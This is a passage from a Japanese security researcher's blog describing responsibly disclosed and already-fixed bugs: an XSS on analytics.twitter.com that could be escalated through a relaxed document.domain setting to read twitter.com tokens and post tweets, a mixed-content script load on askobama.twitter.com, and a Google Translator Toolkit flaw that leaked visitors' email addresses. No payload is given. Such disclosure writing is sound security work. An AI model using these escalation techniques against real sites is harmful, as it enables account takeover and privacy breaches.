5. charsetとして識別できた値について、それがエイリアスなのか、正式名なのかを調べる。JavaScriptで取得される値(document.charsetやdocument.characterSet)は、エイリアスでなく正式名で取得されるので、JavaScriptで取得された値とContent-Typeのcharsetに設定した文字列を比較して、同じなら正式名、異なるならエイリアスと判断する。


こんなかんじです。2-5は適当なスクリプトを書いて、チェックする文字列を変えて繰り返しました。これでうまく判別できない例外も一部ありますが、そこは個々に別のテストを行ったりして対処しました。

おそらく、各ブラウザがサポートするエンコーディング・エイリアスをまとめた資料としては、現在ウェブで公開されているものと比べても、情報が新しく、かなり網羅されたものになっていると思います。いろいろな使い道があると思います。どうぞ、研究などにお役立てください。既に僕も、調べたエンコーディングを使って、様々なエンコーディングのテストを行いました。その辺りの結果も近いうちに公開します。
ブラウザのサポートに変更があったり、データの抜けに気付いた場合は、ぜひコメントやTwitterなどで教えてください。

2013/02/09

Twitterの脆弱性 2013

Twitterは2010年から、年ごとにTwitterのサービスのセキュリティ問題の報告者のリストを掲載しています。以下がそのページです。

https://twitter.com/about/security

幸運にも、僕は毎年載ることができているので、2013年も早速載ってやろうじゃないかということで頑張って脆弱性を探しました。結果はページを見てもらえばわかると思いますが、なんとかみつけることができました。今回みつけた問題がどんな問題だったかを書きたいと思います。2つあります。

1. analytics.twitter.com のXSS

analytics.twitter.comは、Twitterが提供するサイトオーナーのための解析ツール、だそうです。こんな具合に、ログインページのパラメータでエンコーディング処理に起因するXSSがありました。




XSSベクタに関して特に面白いことはないので、このXSSの影響について考察します。

https://analytics.twitter.com と https://twitter.com の認証は区別されており、https://twitter.comでログインしても https://analytics.twitter.com でログイン状態になることはありません。認証用のCookieの値には適切にHttpOnly属性がついており、XSSがあったとしてもJavaScriptでは取得できないようになっています。
よって、これらから考えられる通常の主な影響は、

・ analytics.twitter.comの解析ツールを利用するログイン中のサイトオーナーがanalytics.twitter.com上で不正な操作をされたり、情報を第三者に取得される
・ *.twitter.comという知名度のあるドメインを使って偽のページを表示することによる効果的なフィッシングをされる

などだと思います。

が、実はそれだけではありませんでした。Twitterは同一生成元ポリシーの制限を緩める設定をhttps://twitter.com 上でしているため、もう少し影響は大きくなります。
その設定とは、 https://twitter.com で読み込まれるJavaScriptの次の一行です。

document.domain="twitter.com";

明示的にdocument.domainを設定したページは、明示的に同じdocument.domainを設定したもう一方の*.twitter.com上のページと相互にアクセスできるようになります。

これはつまり、https://analytics.twitter.com のdocument.domainを、XSSを利用して"twitter.com"に設定すれば、https://analytics.twitter.com から https://twitter.com の内容を読み出すことができることを意味します。https://twitter.com には、ログイン状態で、Twitter上の操作を外部から制限するためのtokenも埋め込まれているので、これを取得し、任意のツイートをつぶやかせるリクエストを発行させることも可能でした。よって、解析ツールを利用するユーザーだけでなく、一般Twitterユーザーも罠ページへのアクセスだけで不正な操作や情報の取得をされる恐れのある問題だったと思います。

2. askobama.twitter.com の https/httpリソースの混在

こちらの画像をご覧ください:



httpsのページ「https://askobama.twitter.com」で、「http://platform.twitter.com/widgets.js」と、"httpで"JavaScriptを読み込んでいます。
もしこのHTTPリソースを中間者が改ざんした場合、考えられる影響はなんでしょうか。

これも先ほどのXSSと同じように、document.domainを"twitter.com"に設定する内容にしてしまえば、https://twitter.com の内容にアクセスすることも可能になります。こんな特設のページでさえも、https://twitter.com のセキュリティに穴をあける問題に直結してしまうというのはちょっと面白いですね。document.domainでアクセスする方法は、ポートとプロトコルは一致している必要があるので、そもそも askobama.twitter.com にhttpsでアクセスできるようにしなければ、https://twitter.com まで影響を受けることはなかったというのもまた面白い点です。

TwitterのSecurity Teamはこの問題に対し、慎重に「http」と「://」の間に「s」を入力することで解決しようとし、無事入力が成功したようです。


以上です!
twitter.comでdocument.domainを設定しているのには理由があるのでしょうが、結果的にサブドメインに脆弱性があった場合の影響範囲が広くなってしまっていますね。

2010年頃なんかのTwitterは、少し風変わりな文字列をツイートに入力すれば、すぐに文字化けが発生したり、XSSが生まれたりしていたものですが、あの頃とは随分変わったなと思います。僕の報告がこの数年間のTwitterのセキュリティの改善の一助になったのであれば、僕はとても嬉しいです。

2013/01/30

Google Translator Toolkitに存在したGoogleアカウントのメールアドレスを知られる問題

今月まだ一度もブログを更新してないので、とりあえず小ネタを。

GoogleのTranslator Toolkitという、オンラインで共同でドキュメントの翻訳作業ができるツールに存在した、Googleにログイン中のユーザーのメールアドレスを攻撃者に知らせてしまう問題について書きます。

Translator Toolkitは、共同で翻訳作業をしたい人のメールアドレスを指定し、招待することで、アクセス可能な人を制限しながら翻訳作業をすることができるツールです。
アクセスを許可していない人から翻訳ドキュメントのURLにアクセスされても、以下のように、アクセス許可が与えられていないというメッセージが現れ、適切に閲覧制限できているのがわかります。




ところが一方、 victim.masatokinugawa がこのエラーメッセージを見ているとき、翻訳ドキュメントのオーナーの画面には以下のように表示されていたのです。 




なぜか、victim.masatokinugawaが閲覧者として表示されています。
ページのソースを見ると、完全なメールアドレスも確認できます。




これは明らかに、閲覧者を表示する機能に問題があります。本来は、閲覧を許可されたユーザーが翻訳ドキュメントを開いている場合だけ、閲覧者として表示するようにすべきです。
この不適切な表示により、Googleアカウントへログイン中のユーザーに、攻撃者の翻訳ドキュメントにアクセスさせることで、攻撃者はアクセス者のメールアドレスを不正に知ることが可能でした。

招待していない側からのアクセスは適切に制限できているのに、招待されていない側が漏洩の被害者になるという、面白いバグだと思います。

この問題は2012年4月2日に報告し、しばらくして修正されました。
またGoogleの脆弱性報酬プログラムにより、$500を頂きました。